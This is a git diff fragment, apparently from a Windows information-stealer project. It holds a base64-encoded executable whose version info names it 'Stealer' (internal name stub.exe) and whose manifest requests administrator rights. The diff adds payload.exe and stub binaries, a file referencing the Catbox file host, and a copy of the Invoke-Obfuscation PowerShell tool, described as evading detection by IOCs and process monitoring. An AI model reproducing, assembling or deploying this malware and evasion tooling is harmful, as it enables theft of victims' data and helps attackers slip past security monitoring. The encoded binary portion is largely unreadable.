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g0L3QsCDQvtC00LjQvSDQuNC3INGB0LvQtdC00YPRjtGJ0LjRhS4NCg0KICAgICAgICA8cmVxdWVzdGVkRXhlY3V0aW9uTGV2ZWwgIGxldmVsPSJhc0ludm9rZXIiIHVpQWNjZXNzPSJmYWxzZSIgLz4NCiAgICAgICAgPHJlcXVlc3RlZEV4ZWN1dGlvbkxldmVsICBsZXZlbD0icmVxdWlyZUFkbWluaXN0cmF0b3IiIHVpQWNjZXNzPSJmYWxzZSIgLz4NCiAgICAgICAgPHJlcXVlc3RlZEV4ZWN1dGlvbkxldmVsICBsZXZlbD0iaGlnaGVzdEF2YWlsYWJsZSIgdWlBY2Nlc3M9ImZhbHNlIiAvPg0KDQogICAgICAgICAgICDQn9GA0Lgg0YPQutCw0LfQsNC90LjQuCDRjdC70LXQvNC10L3RgtCwIHJlcXVlc3RlZEV4ZWN1dGlvbkxldmVsINCx0YPQtNC10YIg0L7RgtC60LvRjtGH0LXQvdCwINCy0LjRgNGC0YPQsNC70LjQt9Cw0YbQuNGPINGE0LDQudC70L7QsiDQuCDRgNC10LXRgdGC0YDQsC4gDQogICAgICAgICAgICDQo9C00LDQu9C40YLQtSDRjdGC0L7RgiDRjdC70LXQvNC10L3Rgiwg0LXRgdC70Lgg0LLQuNGA0YLRg9Cw0LvQuNC30LDRhtC40Y8g0YLRgNC10LHRg9C10YLRgdGPINC/0YDQuNC70L7QttC10L3QuNGOINC00LvRjyDQvtCx0YDQsNGC0L3QvtC5DQogICAgICAgICAgICDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuC4NCiAgICAgICAgLS0+DQoJCSAgPHJlcXVlc3RlZEV4ZWN1dGlvbkxldmVsICBsZXZlbD0icmVxdWlyZUFkbWluaXN0cmF0b3IiIHVpQWNjZXNzPSJmYWxzZSIgLz4NCiAgICAgIDwvcmVxdWVzdGVkUHJpdmlsZWdlcz4NCiAgICA8L3NlY3VyaXR5Pg0KICA8L3RydXN0SW5mbz4NCg0KICA8Y29tcGF0aWJpbGl0eSB4bWxucz0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTpjb21wYXRpYmlsaXR5LnYxIj4NCiAgICA8YXBwbGljYXRpb24+DQogICAgICA8IS0tINCh0L/QuNGB0L7QuiDQstC10YDRgdC40LkgV2luZG93cywg0L3QsCDQutC+0YLQvtGA0YvRhSDRjdGC0L4g0L/RgNC40LvQvtC20LXQvdC40LUg0LHRi9C70L4g0L/RgNC+0YLQtdGB0YLQuNGA0L7QstCw0L3Qvg0KICAgICAgICAgICDQuCDQsdGD0LTQtdGCINGA0LDQsdC+0YLQsNGC0YwuINCg0LDRgdC60L7QvNC80LXQvdGC0LjRgNGD0LnRgtC1INGB0L7QvtGC0LLQtdGC0YHRgtCy0YPRjtGJ0LjQtSDRjdC70LXQvNC10L3RgtGLLCDRh9GC0L7QsdGLINCe0KEgV2luZG93cyANCiAgICAgICAgICAg0LDQstGC0L7QvNCw0YLQuNGH0LXRgdC60Lgg0LLRi9Cx0YDQsNC70LAg0L3QsNC40LHQvtC70LXQtSDRgdC+0LLQvNC10YHRgtC40LzQvtC1INC+0LrRgNGD0LbQtdC90LjQtS4gLS0+DQoNCiAgICAgIDwhLS0gV2luZG93cyBWaXN0YSAtLT4NCiAgICAgIDwhLS08c3VwcG9ydGVkT1MgSWQ9IntlMjAxMTQ1Ny0xNTQ2LTQzYzUtYTVmZS0wMDhkZWVlM2QzZjB9IiAvPi0tPg0KDQogICAgICA8IS0tIFdpbmRvd3MgNyAtLT4NCiAgICAgIDwhLS08c3VwcG9ydGVkT1MgSWQ9InszNTEzOGI5YS01ZDk2LTRmYmQtOGUyZC1hMjQ0MDIyNWY5M2F9IiAvPi0tPg0KDQogICAgICA8IS0tIFdpbmRvd3MgOCAtLT4NCiAgICAgIDwhLS08c3VwcG9ydGVkT1MgSWQ9Ins0YTJmMjhlMy01M2I5LTQ0NDEtYmE5Yy1kNjlkNGE0YTZlMzh9IiAvPi0tPg0KDQogICAgICA8IS0tIFdpbmRvd3MgOC4xIC0tPg0KICAgICAgPCEtLTxzdXBwb3J0ZWRPUyBJZD0iezFmNjc2Yzc2LTgwZTEtNDIzOS05NWJiLTgzZDBmNmQwZGE3OH0iIC8+LS0+DQoNCiAgICAgIDwhLS0gV2luZG93cyAxMCAtLT4NCiAgICAgIDwhLS08c3VwcG9ydGVkT1MgSWQ9Ins4ZTBmN2ExMi1iZmIzLTRmZTgtYjlhNS00OGZkNTBhMTVhOWF9IiAvPi0tPg0KDQogICAgPC9hcHBsaWNhdGlvbj4NCiAgPC9jb21wYXRpYmlsaXR5Pg0KDQogIDwhLS0g0KPQutCw0LfRi9Cy0LDQtdGCLCDRh9GC0L4g0L/RgNC40LvQvtC20LXQvdC40LUg0L/QvtC00LTQtdGA0LbQuNCy0LDQtdGCINC+0L/RgNC10LTQtdC70LXQvdC40LUgRFBJINC4INC90LUg0LHRg9C00LXRgiDQsNCy0YLQvtC80LDRgtC40YfQtdGB0LrQuCDQvNCw0YHRiNGC0LDQsdC40YDQvtCy0LDRgtGM0YHRjyBXaW5kb3dzINC/0YDQuCDQsdC+0LvQtdC1INCy0YvRgdC+0LrQuNGFDQogICAgICAg0LfQvdCw0YfQtdC90LjRj9GFIERQSS4g0J/RgNC40LvQvtC20LXQvdC40Y8gV2luZG93cyBQcmVzZW50YXRpb24gRm91bmRhdGlvbiAoV1BGKSDQv9C+INGD0LzQvtC70YfQsNC90LjRjiDQv9C+0LTQtNC10YDQttC40LLQsNGO0YIg0L7Qv9GA0LXQtNC10LvQtdC90LjQtSBEUEksINC40Lwg0L3QtSDQvdGD0LbQvdC+IA0KICAgICAgINGB0L/QtdGG0LjQsNC70YzQvdC+INCy0LrQu9GO0YfQsNGC0Ywg0L/QsNGA0LDQvNC10YLRgCDQtNC70Y8g0Y3RgtC+0LPQvi4g0JTQu9GPINC/0YDQuNC70L7QttC10L3QuNC5IFdpbmRvd3MgRm9ybXMg0L3QsCDQv9C70LDRgtGE0L7RgNC80LUgLk5FVCBGcmFtZXdvcmvCoDQuNiwg0LTQu9GPINC60L7RgtC+0YDRi9GFINC30LDQtNCw0L0g0Y3RgtC+0YIg0L/QsNGA0LDQvNC10YLRgCwg0L3QtdC+0LHRhdC+0LTQuNC80L4gDQogICAgICAg0YLQsNC60LbQtSDQt9Cw0LTQsNGC0Ywg0LTQu9GPICJFbmFibGVXaW5kb3dzRm9ybXNIaWdoRHBpQXV0b1Jlc2l6aW5nIiDQt9C90LDRh9C10L3QuNC1ICJ0cnVlIiDQsiDRhNCw0LnQu9C1IGFwcC5jb25maWcuIA0KICAgICAgIA0KICAgICAgINCf0YDQuCDRjdGC0L7QvCDQv9GA0LjQu9C+0LbQtdC90LjQtSDQvdCw0YfQuNC90LDQtdGCINGD0YfQuNGC0YvQstCw0YLRjCDQtNC70LjQvdC90YvQtSDQv9GD0YLQuC4g0JTQvtC/0L7Qu9C90LjRgtC10LvRjNC90YvQtSDRgdCy0LXQtNC10L3QuNGPINGB0LwuINC90LAg0YHRgtGA0LDQvdC40YbQtSANCgkgICANCg0KczovL2RvY3MubWljcm9zb2Z0LmNvbS93aW5kb3dzL3dpbjMyL2ZpbGVpby9tYXhpbXVtLWZpbGUtcGF0aC1saW1pdGF0aW9uLi0tPg0KICA8IS0tDQogIDxhcHBsaWNhdGlvbiB4bWxucz0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTphc20udjMiPg0KICAgIDx3aW5kb3dzU2V0dGluZ3M+DQogICAgICA8ZHBpQXdhcmUgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vU01JLzIwMDUvV2luZG93c1NldHRpbmdzIj50cnVlPC9kcGlBd2FyZT4NCiAgICAgIDxsb25nUGF0aEF3YXJlIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL1NNSS8yMDE2L1dpbmRvd3NTZXR0aW5ncyI+dHJ1ZTwvbG9uZ1BhdGhBd2FyZT4NCiAgICA8L3dpbmRvd3NTZXR0aW5ncz4NCiAgPC9hcHBsaWNhdGlvbj4NCiAgLS0+DQoNCiAgPCEtLSDQktC60LvRjtGH0LjRgtC1INGC0LXQvNGLINC00LvRjyDQvtCx0YnQuNGFINGN0LvQtdC80LXQvdGC0L7QsiDRg9C/0YDQsNCy0LvQtdC90LjRjyDQuCDQtNC40LDQu9C+0LPQvtCy0YvRhSDQvtC60L7QvSBXaW5kb3dzIChXaW5kb3dzIFhQINC4INCx0L7Qu9C10LUg0L/QvtC30LTQvdC40LUg0LLQtdGA0YHQuNC4KSAtLT4NCiAgPCEtLQ0KICA8ZGVwZW5kZW5jeT4NCiAgICA8ZGVwZW5kZW50QXNzZW1ibHk+DQogICAgICA8YXNzZW1ibHlJZGVudGl0eQ0KICAgICAgICAgIHR5cGU9IndpbjMyIg0KICAgICAgICAgIG5hbWU9Ik1pY3Jvc29mdC5XaW5kb3dzLkNvbW1vbi1Db250cm9scyINCiAgICAgICAgICB2ZXJzaW9uPSI2LjAuMC4wIg0KICAgICAgICAgIHByb2Nlc3NvckFyY2hpdGVjdHVyZT0iKiINCiAgICAgICAgICBwdWJsaWNLZXlUb2tlbj0iNjU5NWI2NDE0NGNjZjFkZiINCiAgICAgICAgICBsYW5ndWFnZT0iKiINCiAgICAgICAgLz4NCiAgICA8L2RlcGVuZGVudEFzc2VtYmx5Pg0KICA8L2RlcGVuZGVuY3k+DQogIC0tPg0KDQo8L2Fzc2VtYmx5Pg0KAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA diff --git a/bin/Release/net48/win-x64/publish/payload.exe b/bin/Release/net48/win-x64/publish/payload.exe new file mode 100644 index 0000000..0fff126 Binary files /dev/null and b/bin/Release/net48/win-x64/publish/payload.exe differ diff --git a/bin/Release/net48/win-x64/publish/scarecrow b/bin/Release/net48/win-x64/publish/scarecrow new file mode 100755 index 0000000..f0e96cd --- /dev/null +++ b/bin/Release/net48/win-x64/publish/scarecrow @@ -0,0 +1,32 @@ + + + + + + + + +Catbox + + + + + + + + + + + diff --git a/bin/Release/net48/win-x64/publish/stub.exe.config b/bin/Release/net48/win-x64/publish/stub.exe.config new file mode 100644 index 0000000..8e342a9 --- /dev/null +++ b/bin/Release/net48/win-x64/publish/stub.exe.config @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/bin/Release/net48/win-x64/publish/stub.pdb b/bin/Release/net48/win-x64/publish/stub.pdb new file mode 100644 index 0000000..a844ecf Binary files /dev/null and b/bin/Release/net48/win-x64/publish/stub.pdb differ diff --git a/bin/Release/net48/win-x64/stub.exe b/bin/Release/net48/win-x64/stub.exe new file mode 100644 index 0000000..0fff126 Binary files /dev/null and b/bin/Release/net48/win-x64/stub.exe differ diff --git a/bin/Release/net48/win-x64/stub.exe.config b/bin/Release/net48/win-x64/stub.exe.config new file mode 100644 index 0000000..8e342a9 --- /dev/null +++ b/bin/Release/net48/win-x64/stub.exe.config @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/bin/Release/net48/win-x64/stub.pdb b/bin/Release/net48/win-x64/stub.pdb new file mode 100644 index 0000000..a844ecf Binary files /dev/null and b/bin/Release/net48/win-x64/stub.pdb differ diff --git a/etw.txt b/etw.txt new file mode 100644 index 0000000..1becba2 --- /dev/null +++ b/etw.txt @@ -0,0 +1 @@ +404: Not Found \ No newline at end of file diff --git a/io.ps1 b/io.ps1 new file mode 100644 index 0000000..d9bdb57 --- /dev/null +++ b/io.ps1 @@ -0,0 +1,2189 @@ +# This file is part of Invoke-Obfuscation. +# +# Copyright 2017 Daniel Bohannon <@danielhbohannon> +# while at Mandiant +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + + + +Function Invoke-Obfuscation +{ +<# +.SYNOPSIS + +Master function that orchestrates the application of all obfuscation functions to provided PowerShell script block or script path contents. Interactive mode enables one to explore all available obfuscation functions and apply them incrementally to input PowerShell script block or script path contents. + +Invoke-Obfuscation Function: Invoke-Obfuscation +Author: Daniel Bohannon (@danielhbohannon) +License: Apache License, Version 2.0 +Required Dependencies: Show-AsciiArt, Show-HelpMenu, Show-Menu, Show-OptionsMenu, Show-Tutorial and Out-ScriptContents (all located in Invoke-Obfuscation.ps1) +Optional Dependencies: None + +.DESCRIPTION + +Invoke-Obfuscation orchestrates the application of all obfuscation functions to provided PowerShell script block or script path contents to evade detection by simple IOCs and process execution monitoring relying solely on command-line arguments and common parent-child process relationships. + +.PARAMETER ScriptBlock + +Specifies a scriptblock containing your payload. + +.PARAMETER ScriptPath + +Specifies the path to your payload (can be local file, UNC-path, or remote URI). + +.PARAMETER Command + +Specifies the obfuscation commands to run against the input ScriptBlock or ScriptPath parameter. + +.PARAMETER NoExit + +(Optional - only works if Command is specified) Outputs the option to not exit after running obfuscation commands defined in Command parameter. + +.PARAMETER Quiet + +(Optional - only works if Command is specified) Outputs the option to output only the final obfuscated result via stdout. + +.EXAMPLE + +C:\PS> Import-Module .\Invoke-Obfuscation.psd1; Invoke-Obfuscation + +C:\PS> Import-Module .\Invoke-Obfuscation.psd1; Invoke-Obfuscation -ScriptBlock {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} + +C:\PS> Import-Module .\Invoke-Obfuscation.psd1; Invoke-Obfuscation -ScriptBlock {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} -Command 'TOKEN\ALL\1,1,TEST,LAUNCHER\STDIN++\2347,CLIP' + +C:\PS> Import-Module .\Invoke-Obfuscation.psd1; Invoke-Obfuscation -ScriptBlock {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} -Command 'TOKEN\ALL\1,1,TEST,LAUNCHER\STDIN++\2347,CLIP' -NoExit + +C:\PS> Import-Module .\Invoke-Obfuscation.psd1; Invoke-Obfuscation -ScriptBlock {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} -Command 'TOKEN\ALL\1,1,TEST,LAUNCHER\STDIN++\2347,CLIP' -Quiet + +C:\PS> Import-Module .\Invoke-Obfuscation.psd1; Invoke-Obfuscation -ScriptBlock {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} -Command 'TOKEN\ALL\1,1,TEST,LAUNCHER\STDIN++\2347,CLIP' -NoExit -Quiet + +.NOTES + +Invoke-Obfuscation orchestrates the application of all obfuscation functions to provided PowerShell script block or script path contents to evade detection by simple IOCs and process execution monitoring relying solely on command-line arguments. +This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company. + +.LINK + +http://www.danielbohannon.com +#> + + [CmdletBinding(DefaultParameterSetName = 'ScriptBlock')] Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock')] + [ValidateNotNullOrEmpty()] + [ScriptBlock] + $ScriptBlock, + + [Parameter(Position = 0, ParameterSetName = 'ScriptPath')] + 